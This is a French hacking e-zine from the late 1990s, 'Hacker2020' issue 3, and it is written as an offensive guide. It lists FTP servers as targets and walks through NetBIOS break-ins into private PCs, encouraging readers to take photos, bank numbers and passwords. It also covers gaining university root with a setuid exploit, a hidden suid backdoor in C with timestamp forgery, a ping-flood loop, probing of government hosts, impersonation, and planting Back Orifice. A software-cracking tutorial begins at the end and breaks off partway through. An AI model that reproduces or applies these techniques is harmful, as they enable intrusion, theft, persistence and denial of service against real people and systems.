HACKING
HACKER2020
ISSUE N°3
1 Sites aux ftp non protégés
2 textes intéressants d'autres E-mags
3 Les coups de pouces
4 Piratage de site 2
5 Cours de crack 1 par Frog's Print.
=== Disclaimer ===
Toutes les informations contenues dans ce fanzine n'y sont qu'à titre purement informatif! Il vous
est déconseillé de les appliquer, sous risques d'amendes et de poursuites judiciaires. Moi ou mon
serveur (actuellement Multimania), ne seraient être tenus responsables de ce que vous ferez de ces
informations!
page d'acceuille hackers 2020
<<< 1- Sites aux ftp non protégés >>>
Après avoir moi-même accédé aux ftp d'un site non protégé par le navigateur, et avoir recueuilli
quelques infos, j'ai trouvé ce texte qui donnait une série de sites, dont les ftp par navigateur n'étaient
pas protégé. donc accès au répertoire etc/passwd/ possible... J'ai donc jugé intéressant de les
mettre à votre disposition! sachez quand même que certains de ces url ne marchent peut-être plus...
je ne les ait pas tous vérifié, donc...
Lieu ou se situe le site
Adresse
Cambridge, MA
Eastern USA
ftp.crl.research.digital.com
Cambridge, MA
Eastern USA
ftp.x.org
New York city
Eastern USA
ftp.duke.edu
Washington, DC
Eastern USA
ftp.digex.net
Minneapolis, MN
Central USA
ftp.cs.umn.edu
West Lafayette, IN
central USA
ftp.cs.purdue.edu
Palo Alto, California
Western USA
ftp.digital.com
Albuquerque, NM
Southwest USA
ftp.khoros.unm.edu
British Columbia
Canada
ftp.cs.ubc.ca
Czech Republic (République Tchèque)
ftp.eunet.cz
England
ftp.sunsite.doc.ic.ac.uk
Europe
ftp.eu.net
Finland
ftp.eunet.fi
Finland
ftp.funet.fi
France
ftp.univ-lillel.fr
Germany
ftp.gwdg.de
Germany
ftp.rz.uni-wuerzburg.de
Germany
ftp.uni-paderborn.de
Greece
ftp.ntua.gr
Iceland
ftp.isnet.is
Ireland
ftp.ieunet.ie
Norway
ftp.unit.no
Poland
ftp.sunsite.icm.edu.pl
Portugal
ftp.puug.pt
Spain
ftp.asterix.fi.upm.es
Sweden
ftp.sunet.se
Switzerland
ftp.switch.ch
United Kingdom
ftp.mcc.ac.uk
Hong Kong
ftp.cs.cuhk.edu.hk
Japan
ftp.sunsite.sut.ac.jp
South Africa
ftp.is.co.za
Israel
ftp.huji.ac.il
Vous n'avez plus qu'à aller dans etc/passwd et comprendre un peu UNIX, parce que sinon vous
comprendrez pas les infos qui vous sont données à l'écran!!!
page d'acceuille hackers 2020
<<< 2- textes intéressants d'autres E-mags >>>
- Comment penetrer les ordinateurs des autres... (écrit par bogosse18):
Pour hacker sous WINDOBE95 il installer le Voisinage réseau (dans
Panneau de configuration puis Réseau, Ajouter et Service)
Et puis aussi l'adresse IP d'un gugus.
Pour obtenir une IP il suffit de vous connecter sur IRC de taper /DNS pseudo ou sur icq etc...
(le social engenering peut aussi marcher pour avoir des passwords)
1)Allez dans demarrer puis allez dans executer et taper edit (l'éditeur dos) et créer un fichier que
vous nomerez "lmhosts" (ATTENTION il doit être en minuscule et NE DOIT PAS porter
d'extention *.TXT ..etc...).
2)Une fois lmhosts créé, le sauver dans le repertoire c:\Windows
3)Ouvrir une COMMANDE MSDOS et taper ce qui suit:
nbtstat -A 193.106.105.19 <<<< UNIQUE Registered <<<<< Ca c'est bon car UNIQUE
Gamez <00> GROUP Registered <<<<< group ca serre a rien
MAC Address = 44-45-13-74-00-00
«Warez» et «Gamez» sont des exemples de noms d'ordis
4) Dans lmhosts je mets :
#Hacked by Bogosse17 <<<<< #un p'tit baratin de votre choix
193.106.105.19 Warez <<<<<< Ip du gugus et le nom de l'ordinateur
On peut en mettre plusieurs à la suite en récrivant toujours #...... et en desous IP+nom sans passer
de ligne
5) Retourner sous la fenettre DOS et tapez :
nbtstat -R
On Obtient :
Successful purge and preload of the NBT Remote Cache Name Table.
6)Ca marche comme sur des roulettes!! maintenant sous WINDOBE95 Menu Démarrer
Rechercher/Ordinateur...
L'ordinateur qui nous interresse ce nome donc "Warez", Rechercher le ...
Il le trouve !? Et ben c'est la fête !!! vous voila dans la machine du gugus.
7)Parfois il faut donner un mot de passe réseau, vous pouvez essayer un crackeur à force brute qui
essaye tous les mots de passe possibles mais cela peut prendre des secondes, des minutes des
heures... voir des jours! (le logiciel brute est sur mon site (www.mygale.org/~thomasg/utils.html)
Tips : avec un peu d'imagination on peut trouver le password en essayant par exemple le login ou le
nom de l'utilisateur sur IRC ;)
8)Parfois rien n'apparait car le disque dur n'est pas en réseau et donc on est niqué!!!
On ne peut pas toujours effacer les fichiers selon la config!
Que faire lorsque vous êtes dans l'ordinateur de votre victime :
1)Si vous obtenez des infos confidencielles genres code de lancement des têtes nucléaires de l'arméé
américaine, vous êtes priez de me les faire parvenir sous plis discret de préférance ;)
2)Vous pouvez récupérer des fichiers intéressant comme des photos de la femme de monsieur le
netsurfeur en train de montrer son intimité d'en dessous de la cullote :), des numéro de banques ou
des logins et pass de sites ou e-mail (me contacter également dans tous les cas -merci).
3) Vous repiquez ce que vous voulez mais ne delirer pas .......... ( Pas de formatage ou de
suppression )
Pensez au pauvre gars qui ce retrouvera sans Pc alors qu'il n'a rien fait...
Bon bah maintenant que vous savez tout il ne reste plus qu'a vous amuser.
- Comment hacker sa fac en quelques leçons (Octagon):
Cet article s'adresse aux debutants sous unix qui ont pas envie de se prendre
la tete a maitriser et qui ont besoin d'avoir acces au compte de leurs profs
par exemple (mais pour quoi faire au juste ?)...
Materiel necessaire.... NoRoute #1..
Un account sur une becanne unix de la fac..
Une legere connaissance de unix..
Une conscience..
Sous unix le seul account interessant est l'acces root. Nous sommes bien
d'accord, root est le compte qui vous permet de tout faire sur un systeme.
Son user_id est 0 est son group_id est le meme..
Commencez tout d'abord par reconnaitre le systeme utilise par la machine,
chaque systeme a ses holes et ses problemes... Pour cela, faites appel a
"uname -a" qui vous donnera une reponse franche :
SunOS 4.1.4 par exemple.. Vous avez desormais acces a un systeme bourre de
bugs potentiellement exploitables... La grande mode en matiere de hack, et
la grande technique utilisee par tous de nos jours car elle est simple et
efficace et ne demande pas une grande connaissance du systeme est l'exploit.
L'exploit est un petit programme ou une serie de commande trouvee par un
ingenieux bonhomme qui permet souvent de chopper l'acces root sur un systeme.
Obtenir des exploits n'est pas tres complique... Un petit ftpsearch sur
exploit vous donnera au moins un ftp bourre d'exploits pour differents systemes
que vous n'aurez plus qu'a utiliser pour chopper le root..
Un exploit celebre est celui de la commande umount sous BSD. Si cette commande
possede le bit suid c'est a dire si "ls -l /bin/umount" vous donne un truk
comme:
-rwsr-xr-x (presence du 's' vous l'avez vu ?)
et que la version de umount est assez ancienne, alors vous pouvez chopper un
root sur le systeme. Vous choppez l'exploit sur votre chti ftp, que nous
appelerons ici mount.c
Vous le compilez donc:
host:~> cc mount.c -o exploit
host:~> exploit
Discovered and Coded by Bloodmask and Vio, Covin 1996
bash# whoami
root
bash#
Et vous etes root. La simplicite de la chose explique pourquoi de nos jours
il y a tellement de jeunes abrutis qui annoncent fierement leurs root dans
#hack... =) Cet exploit utilise en fait une architecture de code propre aux
mauvais programmes qui permet de modifier l'adresse de retour d'un call.
En effet, le programme umount devient root pendant son execution grace
au bit suid. En l'executant et en forcant le retour d'un call vers une routine
qui execute un shell, on obtient ainsi un shell root...(voir exploits... =)
C'est un exemple parmi tant d'autres.. Disons franchement qu'en cherchant bien
sur le net et en essayant betement tous les exploits propres a un systeme, meme
si vous etes une grosse brelle en matiere d'unix, vous arriverez a chopper le
root dans votre fac huh... Bien entendu les administrateurs systemes des facs
sont au courant de ces exploits et fixent en permanence leur systeme contre
ceux-ci (du moins dans ma fac, ou j'ai eu un mal fou a chopper le root arf)..
Une fois que vous etes root, vous ne pouvez bien entendu pas vous permettre d'
utiliser l'exploit en question a chaque fois que vous desirez passer root
sur le syteme, pour la simple raison que ce hole ne restera pas longtemps en
place...
Il vous faut donc planquer quelquepart un chti programme qui vous donnera
l'acces root tout le temps mais qui ne sera pas decouvert par le root lui-meme..
Le mieux est d'avoir acces aux sources d'un programme suid peu souvent change
par la fac que vous pourrez modifier pour vous donner un shell lorsqu'il est
appele avec certains arguments... Par exemple, integrer a login.c un test
if (!strcmp(username,"sorcery")) return (0);
qui vous permettra de vous logger en root depuis n'importe ou... Sans laisser
de traces sur le syteme. L'exemple ci-dessus ne tient absolument pas compte
du code original de login.c le but est seulement de vous faire piger le
principe... =)
Un autre moyen, utilisable dans les systemes peu surveilles, mais assez
discret quand meme, est de vous creer votre programme a vous, suid, qui vous
donnera le root... Bien entendu il faut securiser ce programme en le deguisant
en programme normal. Donnez lui un nom qui fasse "vrai" et qui justifie le
bit suid par exemple "xfixconsole" qui d'apres son nom necessite un acces a
la console et donc un root..
Placez le dans un repertoire peu frequente tel que /usr/X11R5/bin/ par exemple.
Voici un exemple de code:
----8<-----8<-------8<--------8<-------cut here-------8<------8<-------
/* Xfixconsole by Sorcery
Sacre joli nom huh...
Ne donne le shell que si il est appele ansi:
host:~> xfixconsole fixing */
void main(int argc, char *argv[]) {
if ( (argv[1]) && (!strcmp(argv[0],"xfixconsole"))\
&& (!strcmp(argv[1],"fixing")) ) {
setuid(0);
setgid(0);
system("/bin/bash");
} else {
printf("\nFixed 0xA000\n");
}
}
----8<-----8<--------8<--------8<----------cut here---------8<--------
Ensuite, compilez le programme et placez le dans le repertoire voulu...
bash# cc xfixconsole.c -o xfixconsole
Avant de le deplacer, nous allons noter la date de derniere modif du rep
/usr/X11R5/bin... ("ls -l /usr/X11R5"). Disons que nous trouvons Jan 1 1994.
bash# mv xfixconsole /usr/X11R5/bin/
Il faut maintenant lui donner les permissions voulues (+s) pour qu'il puisse
changer son uid et son gid a 0...
bash# chmod +s /usr/X11R5/bin/xfixconsole
bash# ls -al !$
ls -al /usr/X11R5/bin/xfixconsole
-rwsr-xr-x 1 root wheel 38613 Jan 1 1997 .../bin/xfixconsole*
bash#
voila qui est mieux. Maintenant il faut cacher ce fichier: il y a trois choses
a modifier pour que le fichier passe discretement:
-la date du fichier
-son proprietaire
-la date du '.' (eh oui, la date du rep a change aussi)
Pour cela, nous mettons le fichier a la meme date que les fichiers qui lui
sont proches: (cela passe bien lorsqu'une serie de cinq fichiers sont cotes
a cotes et ont la meme date...)
bash# ls -l /usr/X11R5/bin/xf*
-r-xr-xr-x 1 root bin 385636 Jul 28 1995 /usr/X11R5/bin/xfig*
-rwxr-xr-x 1 root bin 148600 Jun 24 1995 /usr/X11R5/bin/xfile..
..manager*
-rwsr-xr-x 1 root wheel 38613 Jan 1 1997 /usr/X11R5/bin/xfix..
..console*
-rwxr-xr-x 1 root bin 117344 Jun 18 1995 /usr/X11R5/bin/xfm*
-rwxr-xr-x 1 root bin 770 Jun 18 1995 /usr/X11R5/bin/xfm.ins..
..tall*
-rwxr-xr-x 1 root bin 14184 Jun 18 1995 /usr/X11R5/bin/xfmtype*
bash#
bash# touch -t 180614591995 /usr/X11R5/bin/xfixconsole
bash# touch -t 010114591994 /usr/X11R5/bin
bash# chgrp bin /usr/X11R5/bin/xfixconsole
bash# ls -l /usr/X11R5/bin/xfixconsole
-rws--x--x 1 root bin 38613 Jun 18 1995 /usr/X11R5/bin/xfix..
..console*
Vous avez desormais un chti root sympa sur le systeme, qui vous permettra de
bien vous marrer.
A verifier cependant avant d'installer un tel prog: les crontabs. Dans
/usr/spool/cron/crontabs/root, vous trouverez une liste d'instructions
executees automatiquement par le systeme pour le root. Verifiez bien qu'aucun
script n'est lance qui detecterait par exemple les nouveaux suid installes
sur le systeme (utilisant generalement la commande find) ou autre chose
qui vous grillerait...
Choppez maintenant le fichier shadow, ou son equivalent selon les systemes..
(passwd.orig, passwd.secure, /auth/*/*...).. et crackez vous deux ou trois
accounts a l'aide d'un cracker trouve sur le net (guess, par exemple, ou
crack etc..). Cela vous permettra de ne plus vous logger avec votre compte
pour bidouiller le systeme, ce qui peut etre assez pratique parfois...
Passons maintenant a une aventure qui m'est arrivee dans ma fac et qui
pourrait bien vous arriver si votre fac utilise plusieurs parcs de systemes
differents...
J'avais le root sur le parc HPUX, et besoin du root sur les SunOS de ma
fac. Mon home etait le meme sur les deux, car le meme disk etait partage
par NFS entre les becannes. Le disque etait en local sur HPUX et en NFS
sur les SUNS. Le but etait donc d'exploiter le root de HPUX pour ne pas
avoir a essayer des dizaines d'exploits sur la sun dont le sunos etait
plutot bien protege... Voici donc la methode utilisee:
sun:~> indique que les commandes sont tapees sur la sun.
hp:~> indique que ma mere m'appelle pour diner ahum.
sun:~> cc xfixconsole.c -o root
j'avais donc dans mon home, le fichier xfixconsole.c compile pour sunos, bien
entendu non executable sur la hp...
hp:~> cd /usr/X11R5/bin
Car '/usr/X11R5/bin/xfixconsole fixing' ne marchera pas.. =)
hp:/usr/X11R5/bin/> xfixconsole fixing
bash_hp# cd
bash_hp# chown root.wheel ./root
bash_hp# chmod 755 ./root
bash_hp# ls -al ./root
-rwsr-sr-x (.../...) root
bash_hp#
sun:~> ./root
bash_sun# whoami
root
bash_sun#
En utilisant mon home comme passerelle, j'ai donc reussi a executer sur la
sun un suid via nfs... Il faut savoir que cela ne marchera que si:
1) Le root obtenu est sur la machine ou le home est local: via nfs, le root
n'a pas le droit de modifier des fichiers qui ne lui appartiennent pas,
et en particulier les rendre suid arf.. (sauf en "insecure"...)
2) Le filesystem est mounte via NFS sans le flag "nosuid" : pour verifier,
faites un df ., qui vous donnera les flags separes par des virgules en
plus de la place disk... (rw,nosuid...)
La meme manip est donc utilisee sur la sun... Pour utiliser touch sous sunos,
il faut passer par /usr/5bin qui contient les binaires repondant aux normes
SVR4 (system 5 release 4), car le /usr/bin de sunos contient un touch qui ne
permet pas de specifier une nouvelle date...
A la fin donc, si j'ai bien tout calcule, on se retrouve avec un controle
total de la fac qui peut etre assez plaisant =)...
[MAiS QUE FAiRE AVEC CE r00t ?]
Bonne question...
Plusieurs activites sont marrantes a faire avec un root. Il y a tout d'abord
le flood, qui, si vous avez le root sur un reseau a grande bande passante,
vous permet de faire couler pas mal de connections 14.4 sur le net...
Pour cela, plusieurs utilitaires existent sous linux par exemple, a peu pres
tous bases sur le syn flood qui a tendance a plus trop marcher. Le ping est
encore assez efficace: ping -f host en particulier si vous avez la bonne
version de ping....est assez mechant quand il est utilise avec des '&' par
exemple while (1)
while> ping -f host &
while> end
est assez marrant.... pour arreter le massacre, killer le while puis faire un
killall ping... ICMP rulez! =)
On peut egalement sniffer avec un root...si le systeme est un noeud important
pour d'autres becannes, ou si il est beaucoup frequente, il est possible de
chopper, en ecoutant les connections reseaux, plusieurs acces un peu partout
et pourquoi pas d'autres rewts.. =)
Enfin, le but du rewt est surtout de l'avoir, ensuite imaginez vous tout
simplement aux commandes d'un systeme en 64Mbits sur le net et vos idees
viendront vite... =)
-SorcerY
Grmbl..
Placons ici quelques greetings =)
Le truk chiant dont personne a rien a foutre sauf
Octagon
page d'acceuille hackers 2020
<<< 3 - Les coups de pouces >>>
- Les sites gouvernementaux:
Le site de la CIA: http://www.cia.gov/cia. et pour toutes les personnes qui essaieraint de pirater leur
beau site sachez qu'il est bien marqué à l'entrée:
You are entering an Official United States Government System, which may be
used only for authorized purposes. Unauthorized modification of any
information stored on this system may result in criminal prosecution. The
Government may monitor and audit the usage of this system, and all persons
are hereby notified that use of this system constitutes consent to such
monitoring and auditing.
Essayer serait jouer avec le feu!
Le site du FBI: http://www.fbi.gov: aucun accès ftp en anonyme possible! Accès telnet possible
(nous verrons ce cas de figure après)
Le site de la NASA: http://www.nasa.gov: aucun accès en ftp possible.
- Accès telnet aux comptes telnet d'un site:
En tant normal, nombreux sont les sites importants qui ont un compte telnet... Comment vérifier
rapidement si tel est le cas!!!
Bon! La méthode la plus simple consiste à faire sous navigateur: telnet://www.url.com ou .gov etc...
Mais il y a de nombreuses chances qu'il y ait un time out qui vous fasse perdre la connexion assez
rapidement comme c'est le cas du FBI si on essaie: telnet://www.fbi.gov
Ceci est un cas échéant, donc il est tout à fait possible qu'une connexion soit maintenue!
Pour essayer de maintenir la connection on va utiliser une méthode moins rapide, se connecter sur
l'IP du site (Cela ne marche que rarement). Vous allez sous DOS vous faites (les ">" ne devant pas
être écrits):
> tracert www.fbi. gov
ENTREE
Et l'IP du site du FBI est le 32.97.253.60. Vous ouvrez telnet à partir de votr pc et vous essayez de
vous connecter au compte du FBI. Dans le cas échéant vous vous retrouverez avec une connexion
d'hôte perdue... Laissez donc tomber l'idée d'accéder aux comptes du FBI, puis essayez d'accéder
à leur rooter par telnet: 165.87.34.184, ou encore à leurs ftp sous DOS en faisant (les ">" ne devant
pas être écrits):
> ftp
> open
> www.fbi.gov
ENTREE
Et utilisez un passcrack pour DOS.
Si vous essayez telnet://www.cia.gov ou nasa.gov, vous verrez qu'il n'y a aucun compte à l'autre
bout! En fait c'est qu'il n'y a aucun compte du nom de www.cia.gov ou de nasa.gov.
Donc il faut prendre l'IP du site! si il a un compte vous tomberez dessus.
Vous tracez donc les deux et vous avez comme adresse IP de la CIA: 198.81.129.99, et celui de la
NASA est le 198.116.116.10.
Donc vous essayez d'écceder à cet comptes telnet par l'I, mais je vous le dis, celà menne à un
échec. Vous laissez donc tomber l'idée d'accéder aux comptes telnet de la CIA et du FBI, car il y a
d'autres sites où ça marche très bien, telnet://www.hacker.com par exemple.
- Effacer les messages dans les groupes de news (avec Netscape Navigator version 4.03):
Aller sur un groupe de news, séléctionner un message puis faire (les ">" ne sont pas à faire):
> edition
> préférences
> identité; puis mettre le nick et l'E-mail (tout doir être exact) de la cible, puis faire OK.
Annuler le message avec "suppr".
Prendre un nick sous icq:
En fait c'est une technique bête comme chou, mais à laquelle il fallait panser! Inutile d'avoir des icq
cracker ni autre chose, juste icq. Bon, la technique est simple à réaliser. sachez quand même que
seul l'UIN diffèrera de celle de votre victime. Mais pour se faire passer pour quelqu'un c'est l'idéal.
Ouvrez icq et faites (les ">" ne doivent pas être écrits):
> ICQ
> Add/Change Current User
> Register a New User(ICQ#)
Prenes toutes les infos de votre victime dans la rubrique infos, créez un nouvel User à son nick et à
ses infos, puis pour alterner faites:
> Change the Active User
Si vous avez plus de 5 ou 6 users vous ne pourrez en créer plus.
Rajouter des numéros à votre compteur:
Là aussi c'est un truc bête comme chou: allez dans le fichier source de votre page, recherchez le
compteur et recherchez le numéro actuellement inscrit! Z'avez plus qu'à changer le N° de personnes
entrées sur votre site, sauvez et faites passez en ftp!
Faire sauter un pass en général sur une page HTML:
Certains le savent d'autres non, il vous suffit de regarder le fichier surce et de regarder ou se trouve
le pass:
Par exemple sur ce code source du site: http://www.jacksgame.com:
function passMe() {
var Goop = document.Qbert.PWORD.value
document.Qbert.PWORD.value = Goop.toUpperCase()
if (document.Qbert.PWORD.value == "WATERS") {
location.href="../desktop/index.html"
}
if (document.Qbert.PWORD.value != "WATERS") {
alert("Close but no cigar!");
Voilà... Autre type de solution, (si il vous est possible de la faire) vous regardez vers quel lien mène
le bouton de validation, et vous n'avez plus qu'à entrer ce lien, à la suite de l'url base.
Accès aux indexs des sites ou serveurs:
Prenons un serveur inintéressant au possible mais qui fera un bon exemple. Nous allons prendre le
serveur: http://www.hacker.com
Vous vous connectez sur ce site, qui ne parle en rien de hack... (en fait si mais il est désormais
impossible de me vérifier). Donc vous allez regarder le code source de la page; celà vous donne:
{html}
{head>
{title>
H A C K E R . C O M
{/title>
{/head>
{body bgcolor=ffffff background=./images/greenback.gif>
{center>
{tr>
{img src="./images/hackertop.gif">{br>
{table>
{tr>
{td>
{a href="resources.html">{img src="./images/1.gif" border=0>{/a>{br>
{a href="proshops.html">{img src="./images/2.gif" border=0>{/a>{br>
{a href="equipment.html">{img src="./images/3.gif" border=0>{/a>{br>
{a href="course.html">{img src="./images/4.gif" border="0">{/a>{br>
{/td>
On va s'arrêter là. Inutile d'inscrire la suite.... En fait il n'y a que ce qui est en rouge qui est
intéressant.
Ici on a le "lieu" où sont stockées les images. C'est dans le répertoire /images. Donc on tape l'url:
http://www.hacker.com/images et on rentre sur l'index d'images. Et voilà. Vous êtes sur l'index des
images et donc vous pouvez voir TOUTES les images à voir sur le site et qui sont passées en ftp.
Vous pouvez essayez sur d'autres sites avec d'autres répertoires comme /files ou d'autres noms.
Essayez aussi: http://www.scoregames.com/Images
Pour protéger un index il faut créer un répertoire index.htm.
Passer une protection par un lien:
Une certaine option permet de passer les pass sur certains sites. Plus en détail avec quelques
exemples: allez sur le site: http://altern.org/hackers
Cliquez sur Files. Le password est "clanhkc". Mais ce n'est point le password qui nous intéresse. Il
est en effet possible de passer cette protection sur certains sites dans le même genre! Regardez le
source, en effet il est important d'avoir les informations exactes, mais regardez le source du cadre en
ayant le doigt posé sur le lien, sinon ça ne donnera rien:
{A HREF="#" OnClick="cadre('main.html','bottom.html');" onmouseover="color('menu1','menu1a'); self.status='HKC - MAIN';return true" onmouseout="color('menu1','menu1'); self.status='HKC';return true">
{IMG SRC="menu1.gif" BORDER=0 WIDTH=94 NAME='menu1'>{/A>{BR>
{A HREF="#" OnClick="cadre('http://www.messagezone.com/message.asp?BoardName=103905','bot_join.html');" onmouseover="color('menu2','menu2a'); self.status='HKC - JOIN';return true" onmouseout="color('menu2','menu2'); self.status='HKC';return true">
{IMG SRC="menu2.gif" BORDER=0 WIDTH=94 NAME='menu2'>{/A>{BR>
{A HREF="#" OnClick="password('prot_mem.html','bot_mem.html');" onmouseover="color('menu3','menu3a'); self.status='HKC - MEMBERS';return true" onmouseout="color('menu3','menu3'); self.status='HKC';return true">
{IMG SRC="menu3.gif" BORDER=0 WIDTH=94 NAME='menu3'>{/A>{BR>
{A HREF="#" OnClick="password('prot_files.html','bot_files.html');"
onmouseover="color('menu4','menu4a'); self.status='HKC - FILES';return true"
onmouseout="color('menu4','menu4'); self.status='HKC';return true">
{IMG SRC="menu4.gif" BORDER=0 WIDTH=94 NAME='menu4'>{/A>{BR>
{A HREF="#" OnClick="password('prot_news.html','bot_news.html');" onmouseover="color('menu5','menu5a'); self.status='HKC - NEWS';return true" onmouseout="color('menu5','menu5'); self.status='HKC';return true">
{IMG SRC="menu5.gif" BORDER=0 WIDTH=94 NAME='menu5'>{/A>{BR>
{IMG SRC="menu6.gif" BORDER=0 WIDTH=94>{BR>{BR>
C'est ce qui est en rouge qui nous intéresse plus particulièrement. Vous n'allez pas vous
faire chier avec le pass n'est-ce pas? alors vous utilisez un passage du nom de protected plus
l'expension en rouge, ce qui donne pour accéder aux files sans mettre aucun password:
http://altern.org/hackers/protected/prot_files.html
Vous y voilà! C'est pas beau tout ça????
page d'acceuille hackers 2020
<<< 4 - Piratage de site 2 >>>
Piratage de site 2 mais pourquoi donc? Tout simplement parce que j'ai reçu quelques remarques
qui critiquaient ma première explication, comme quoi elle n'était pas assez claire. Je vais réécrire un
article en faisant de mon mieux. SACHEZ QUE WWW.URL.COM N'EST QU'UN EXEMPLE!
IL N'EXISTE PAS!
Pour commencer, vous devez avoir un minimum de connaissances de Linux ou UINX. Sinon vous
pourrez toujours essayer mais celà vous paraitra moins évident.
Il faut d'abord essayer d'obtenir le maximum d'informations sur le site à pirater: les
sous-répertoires, les indexs, l'adresse IP du site, le webmaster, ne pas hésiter à le tracer sous
différents tracers/pingers (Le meilleur étant WS_PINGPR), l'adresse e-mail des webmasters, vérifier
si les ftp par le navigateur sont protégés (ftp://ftp.url.com), les stats aussi (http://www.url.com/stats),
le tracer sous DOS pour avoir l'adresse du rooter, essayer les accès telnet etc... Celà fait beaucoup
mais pett à petit, en franchissant les étapes on arrive à avoir des résultats concluants.
D'abord vérifier l'accès telnet (telnet://www.url.com), si il existe un compte vous demandant un
login et un mot de passe, vous pouvez essayer de franchir ces barrières et ce sera une bonne chose
de faite. vous vérifier les failles du site et essayez de les exploiter. par exemple si l'éccès par
ftp://ftp.url.com est possible, vous n'avez qu'à aller dans etc/passwd et regarder les noms des
utilisateurs. Vous pourrez ensuite vous connectez dessus par ftp avec le nom d'user sous DOS, en
faisant (les ">" ne devant pas être écrits):
> ftp
> open
> www.url.com
Si les ftp par navigateur, ne sont pas accessibles utilisez WS_PINGPR et allez dans info, puis
tracez le site 2 ou 3 fois si il n'y a rien de concluant. Il y a 90% de chances d'obtenir les noms des
contacts du site, leurs N° de tel. et leurs adresses E-mail. Utilisez ces noms comme logins sous ftp
ou telnet. Celà peut marcher. Si vous n'arrivez absolument pas à obtenir ce genres de résultats
laissez tomber et rabattez-vous sur autre chose, car sinon vous ne pourrez pas faire grand chose.
Pour la suite, une fois les logins vérifiés vous n'avez plus qu'à cracker les pass telnet, ftp sous DOS
et vous pouvez vous amuser. Sinon autre solution, bien plus rapide mais plus risquée et qui a presque
toutes les chances de ne pas marcher. Vous envoyez le serveur de Back Orifice à l'administateur
système, et vous le tracez puis vous prenez les pass, foutez la merde etc... C'est efficace et net!!!
Sinon vous pouvez toujours (mgnihihi!) essayer d'être rooter du serveur, mais comme c'est
super-dur et quasiment infaisable sans mettre un peu de pognons dans des livres qui en parle, ou
d'avoir l'élite pour pote...
Voilà j'espère que ça vous aura aidé!!!
page d'acceuille hackers 2020
<<< Cours de crack N°1 par Frog's Print >>>
Cours de Crack #1 - par Frog's Print - Juin 1997
--------------------------------------------------------------------------------
-SUJET : Introduction au Cracking - 1ère Partie
Désassembler un fichier pour le craquer
Conseils et Documentations
-EXEMPLE : ComSpeed 2.01
-OUTILS : W32Dasm6 (ou W32Dasm85) et une cervelle
--------------------------------------------------------------------------------
1/ INTRODUCTION
2/ EXECUTION DU CRACK
3/ CONSEILS
4/ LIVRES
--------------------------------------------------------------------------------
1/ INTRODUCTION
Ce premier cours, destiné avant tout aux débutants, va vous donner quelques notions sur
le cracking. Si vous ne connaissez pas grand chose à l'Assembleur, ce n'est pas bien grave
puisque je ne vais pas trop vous faire de bourrage de crâne sur ce sujet (pas encore...:=)
mais je vous conseil de vous munir d'un livre (voir section "4/LIVRES" plus bas) sur
ce langage puisqu'il vous sera quand même nécessaire de connaitre la différence entre
un "Jmp", "Jz', "Jnz" et autres "Jae".
Mais rassurez-vous, nous allons surtout utiliser la logique et notre cervelle ce qui suffira
pour craquer environ la moitié des softs de votre disque dur.
Nous allons craquer ComSpeed 2.01 (53,750 Ko) pour Win 3.X et Win95.
ComSpeed est disponible entre autre sur la page web de son auteur:
(http://ourworld.compuserve.com/homepages/Cordes/). A l'heure ou je rédige ce cours,
on ne trouve plus cette version mais la version 2.11.
Ce n'est pas grave le schéma de protection est EXACTEMENT le même donc dès que vous
aurez bien assimilé ce cours vous n'aurez qu'a vous faire la main sur la dernière
version.
Après tout, vous êtes ici pour apprendre pas pour piquer les cracks des autres et y
mettre votre nom, hein?
ComSpeed est un petit programme qui vous montre les performances de votre modem.
Il a deux types de protections (en fait il en a 3 mais nous verrons cela plus loin..:-):
-Il est limité dans le temps à 120 jours d'utilisation.
-Il est protégé par un mot de passe qui permet son débridage.
Il existe 2 méthodes pour craquer un programme:
1/ -"Live Approach".
2/ -"Dead Listing".
1/ "Live Approach" consiste à deboguer le programme (l'exécuter pas à pas) avec un debugger
(comment ne pas nommer ici SoftIce 3.01) en posant des Breakpoints et en le traçant.
Cette méthode est tout particulièrement adaptée aux programmes nécessitants un mot
de passe (comme ComSpeed) ou ayant un "NagScreen".
2/ "Dead Listing" consiste a désassembler le programme et a chercher dans le listing
le schéma de protection pour le modifier à son gré. Cette méthode est assez formidable
pour peu que vous connaissiez un peu l'Assembleur. Vous pourrez modifier le programme,
lui faire faire ce que VOUS voulez! Cette méthode s'applique très bien aux programmes
nécessitants un mot de passe mais aussi et surtout aux "Démos" bridées qui ne vous
permettent pas de sauvegarder un fichier, de l'imprimer, ou bien limitées dans le temps
ou avec un "nagscreen"...
Cette méthode peut paraitre assez effrayante aux yeux des débutants en raison de la taille
importante du listing obtenu de certains programmes Windows (désassembler la démo de Quark
XPress donne un fichier de plus de 50 Mo que même Word6 n'arrivera pas a ouvrir:-).
Cependant, les schémas de protections sont souvent situés dans une toute petite zone
du programme presque toujours facilement localisable et n'en sortent que très rarement
en raison de la limitation des registres du CPU.
Bien sur, pour de meilleurs résultats, la combinaison de ces deux méthodes ne peut etre
que bénéfique.
Comme ComSpeed ne fait que 53 Ko, nous utiliserons le "Dead Listing". De plus, il n'existe
pratiquement pas de cours en Français sur cette technique.
Nous avons besoin pour ce crack de W32Dasm6 (ou W32Dasm85).
--------------------------------------------------------------------------------
N'utilisez PAS W32Dasm7 ou W32Dasm8!!!!
J'utilise ici W32Dasm6 parce que suivant le programme que vous avez a désassembler (16bits
ou 32bits...), si vous utilisez differentes versions de W32Dasm vous n'obtiendrez JAMAIS
le même résultat.
Si vous désassemblez ComSpeed avec W32Dasm6 vous obtiendrez beaucoup de 'String Datas
References'(cf ci-dessous), tandis que vous n'en n'obtiendrez AUCUNES avec W32Dasm7 ou 8.
De plus W32Dasm n'est pas un très bon désassembleur et même son schéma de protection est
ridicule. Je vous expliquerai très prochainement comment le craquer.
--------------------------------------------------------------------------------
Bon assez de bla-bla, place au boulot:
2/ EXECUTION DU CRACK
Lancez W32Dasm6 et ouvrez CompSpeed.
Nous allons rechercher le maximum d'infos. Ce sont essentiellements des chaines de
caractères (les 'String Datas References' dont je vous parlait ci-dessus) contenants
les mots du genre "Enter Your PassWord", "Wrong Password", "PassWord IS correct", "You are
using this program for xxxx days"....Trouver ces mots est avant tout l'essence même du
'Dead Listing'.
Appuyez dans la barre à outils sur le boutton 'string Datas References'.
On trouve, entre autres, dans la liste qui s'affiche:
CodeFalse_
CodeOk_
N'est-ce pas déjà merveilleux!
On a presque tout ici, la routine qui s'execute quand le mot de passe est correct (CodeOK_)
et celle du mauvais mot de passe.
Plus bas dans la liste on trouve aussi:
VIRUS_
(ça, nous verrons plus loin...:-).
On a assez d'informations pour commencer le crack.
Cliquez sur 'CodeOK_' et W32Dasm vous envoie directement à cette routine qui commence à
